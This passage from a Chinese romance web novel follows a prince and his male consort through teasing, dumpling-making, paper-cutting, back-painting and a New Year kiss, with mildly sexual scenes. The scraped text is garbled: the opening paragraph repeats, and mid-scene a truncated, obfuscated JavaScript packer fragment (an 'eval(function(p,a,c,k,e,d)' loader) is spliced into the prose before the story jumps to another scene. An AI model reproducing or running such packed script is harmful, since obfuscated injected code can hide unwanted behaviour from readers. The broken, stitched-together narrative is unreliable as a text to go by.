云棠耳尖瞬间红透,腿有些发软。 第三次时,燕元明干脆将下巴搁在他肩头,嘴唇贴着他耳廓,低声问:“棠儿,学会了吗?” …… 云棠耳尖瞬间红透,腿有些发软。 燕元明干脆将下巴搁在他肩头,嘴唇贴着他耳廓,低声问:“棠儿,学会了吗?” 云棠哪还顾得上什么面团,他整个人都软了,全靠燕元明从背后搂着腰才勉强站稳。 “王、王爷……别……”他声音发颤。 “别什么?”燕元明无辜道,手却从他手背滑到腰间,在那截细腰上缓缓揉按,“我在教你……” 云棠被他揉得腰肢发颤,说不出话,只能咬唇忍着。 两个厨娘早不知何时退了出去,暖阁里只剩他们二人。 窗外阳光明媚,窗内暖意融融,空气里弥漫着面粉的清香。 等一盆面团揉好,云棠已经站不住了,整个人靠在燕元明怀里,脸颊绯-红,眼角含泪,气息紊乱。 燕元明搂着他,低笑:“这么不经闹?” 云棠羞恼地轻捶他胸口,却舍不得用力。 饺子终究是包完了,虽然奇形怪状,倒也摆了满满一盖帘。 燕元明拿起一个最歪的,在云棠眼前晃了晃:“这个像你。” 云棠看去,那饺子圆鼓鼓的,边角捏得乱七八糟。 他疑惑:“哪里像我?” “这里,”燕元明指尖点了点饺子鼓起的部分,“像你害羞时鼓起的脸。” 云棠愣住,随即脸更红了,伸手去抢:“还给我!” 燕元明举高手,看他够不着急得跳脚,笑得更欢。 闹了一会儿,才把饺子放回去,搂着人亲了亲:“好了,不闹你,这些饺子,晚上煮了吃。” “这么丑……”云棠小声。 “丑也是你我一起包的。”燕元明道,“比什么山珍海味都香。” 午后,两人回了归阙居。 暖阁里炭火烧得旺,一推门,热意扑面而来。 云棠脱下披风,只着一身银红锦袍,还是觉得热,额角沁出细汗。 燕元明让人搬来一张矮几,铺上红纸,取了剪刀来。 “剪窗花?”云棠好奇地凑过去。 “嗯。”燕元明执剪,手法娴熟,几下就剪出一对栩栩如生的锦鲤,“年年有余。” 云棠托腮看着,目光崇拜:“王爷什么都会。” 燕元明侧头看他,眼底漾开笑意:“还想看什么?” 云棠想了想:“剪个小兔子?” 剪刀在红纸上游走,不多时,一只圆耳短尾的小兔就出现了。 云棠接过,爱不释手,对着光仔细看。 燕元明看着他欢喜的模样,心中柔软,又拿起一张红纸。 这次剪得慢了些,剪刀在纸上游移,轮廓渐渐清晰。 长发如瀑,侧脸线条柔美,细腰,虽无五官,可那身形姿态,分明就是…… 云棠起初没看出来。 待燕元明剪完最后一刀,拎起那张剪纸对着光时,他才蓦地睁大眼,脸颊轰地烧起来。 那剪影,分明是他! “王、王爷!”他羞赧伸手去抢,“还给我!” 燕元明举高手,笑看他够不着。 云棠急得站起身扑过去,却被他顺势搂住腰,身子一转,压倒在窗边的软榻上。 “急什么?”燕元明低笑,指尖捏着那张剪纸,在云棠眼前晃了晃,“像不像?” 云棠羞得别过脸:“不像……” “不像?”燕元明挑眉,俯身在他耳边,“那本王再仔细看看,到底哪里不像。” 说着,手就探入了云棠衣襟。 云棠浑身一僵,想躲,却被牢牢按住。 衣带不知何时松了,锦袍散开,露出里面月白色的中衣。 燕元明的手抚上他胸口,隔着薄薄衣料,指尖轻轻按着。 “这里,”他声音低哑,“昨夜好像肿了。” 云棠脸更红,慌忙想掩,手腕却被轻轻按住。 “让我看看。”燕元明说着,手指挑开中衣系带。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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墨色长发撩到一侧,露出整片白皙光滑的背脊。 肌肤因方才的情-动未褪,泛着浅浅粉晕,肩胛骨的线条优美,随着呼吸微微起伏。 燕元明的指尖落了下来。先是微凉的口脂触感,接着是指腹划过肌肤的微痒。 云棠身体轻颤,却忍着不动,只将脸埋进臂弯,睫毛不住抖动。 燕元明画得很专注。 指尖从肩胛骨处开始,先勾勒枝干。 苍劲斜逸,寥寥几笔,便有了梅枝的风骨。 再点花瓣,一层层,一叠叠,嫣红的口脂在雪白肌肤上晕开,渐渐形成一朵盛放的红梅。 花瓣饱满,边缘处还用指尖稍稍晕染,做出渐变的效果。 暖阁里安静极了,只有炭火偶尔的噼啪声,还有两人交错的呼吸。 云棠能感觉到燕元明的指尖在自己背上游走。 那专注的目光里,是毫不掩饰的痴迷与珍视。 不知过了多久,燕元明停了手。 “好了。”他低声说,取过一旁铜镜,对着云棠的背,“看看。” 云棠侧过头,从镜中看见了自己的背。 雪白的肌肤上,一朵红梅灼灼盛开。 花瓣艳丽,枝干苍劲,位置恰在肩胛骨凹陷处,随着他的呼吸微微起伏,宛如活物。 那红与白的对比极致妖娆,却又因画在人身,而透出别样的纯净。 他看呆了。 “喜欢么?”燕元明问。 云棠点头,声音细弱:“喜欢……就是,这怎么洗掉……” “洗不掉才好。”燕元明放下铜镜,从背后搂住他,吻了吻他肩头未沾口脂的肌肤,“留着我的印记。” 云棠脸红,小声道:“霸道。” 燕元明低笑,手掌在他腰间流连:“还有更霸道的,想试试么?” 云棠听出他话里的暗示,羞得不敢接话。 燕元明也不逼他,只将人搂在怀里,手指轻轻抚-过那朵红梅,感受着肌肤的温热与细腻。 窗外日头渐渐西斜,暖阁里光影斑驳。 两人就这样相拥着,什么也不做,什么也不说,却觉得时光静好,岁月安宁。 暮色四合时,王府里热闹起来。 仆从们在前院空地上摆开爆竹,烟花,笑闹声阵阵。 燕元明给云棠加了件厚披风,牵着他出了归阙居,站在廊下看热闹。 “怕不怕响?”燕元明低头问。 云棠摇头:“不怕。” 话音刚落,那边一个胆大的小厮点燃了第一挂爆竹。 噼里啪啦的炸响声骤然响起,在暮色中格外震耳。 云棠吓了一跳,本能往燕元明怀里钻。 燕元明低笑,双手抬起,捂住了他的耳朵。 掌心温热,隔绝了大部分声响。 云棠在他怀里抬头,看见他眼底温柔的笑意,还有身后炸开的金色火光。 爆竹声还在继续,烟花一簇簇升空,在夜幕中绽开绚烂的花。 就在又一串爆竹震天响起、烟花照亮半边天空时,燕元明低头,吻住了他。 这个吻温柔而绵长,带着爆竹硝烟的味道,还有冬日清冷的空气。 云棠闭上眼睛,感受着唇-上的温热。 耳畔虽然还有隐约声响,却被燕元明的掌心隔开,变得遥远而模糊。 他伸出手,环住了燕元明的腰。 廊下光影摇曳,烟花在他们身后绽放,映亮相拥的身影。 不远处,凌墨与侍卫们默契地转过身,面朝外警戒,嘴角却微微上扬。 仆从们瞥见这边,互相使眼色,笑容善意。 周伯捋须微笑,悄悄挥手让点爆竹的小厮动静小些,别打扰。 一吻结束,云棠羞得想躲,却被燕元明拉住。 “跑什么?”燕元明眼底含笑。 “这么多人看着……”云棠小声。 “看着又如何?”燕元明挑眉,“我亲我的王妃,还要避着人?” 这话说得理直气壮,云棠听得耳根发热,却忍不住嘴角上扬。 他转身想往屋里跑,燕元明却追上来,在廊下轻巧地截住他,再次吻了下来。 带着笑意的追逐嬉闹。 云棠笑着躲,燕元明笑着追,最终将人堵在廊柱边,深深吻住。 烟花在头顶绽放,爆竹声此起彼伏,廊下光影明明灭灭,映着相拥的两人。 亲到后来,云棠腿都软了,整个人挂在燕元明身上,气息紊乱。 燕元明这才放过他,打横将人抱起,在众人含笑的目光中,大步走回归阙居。 身后,爆竹声更热烈了,像是为谁庆贺。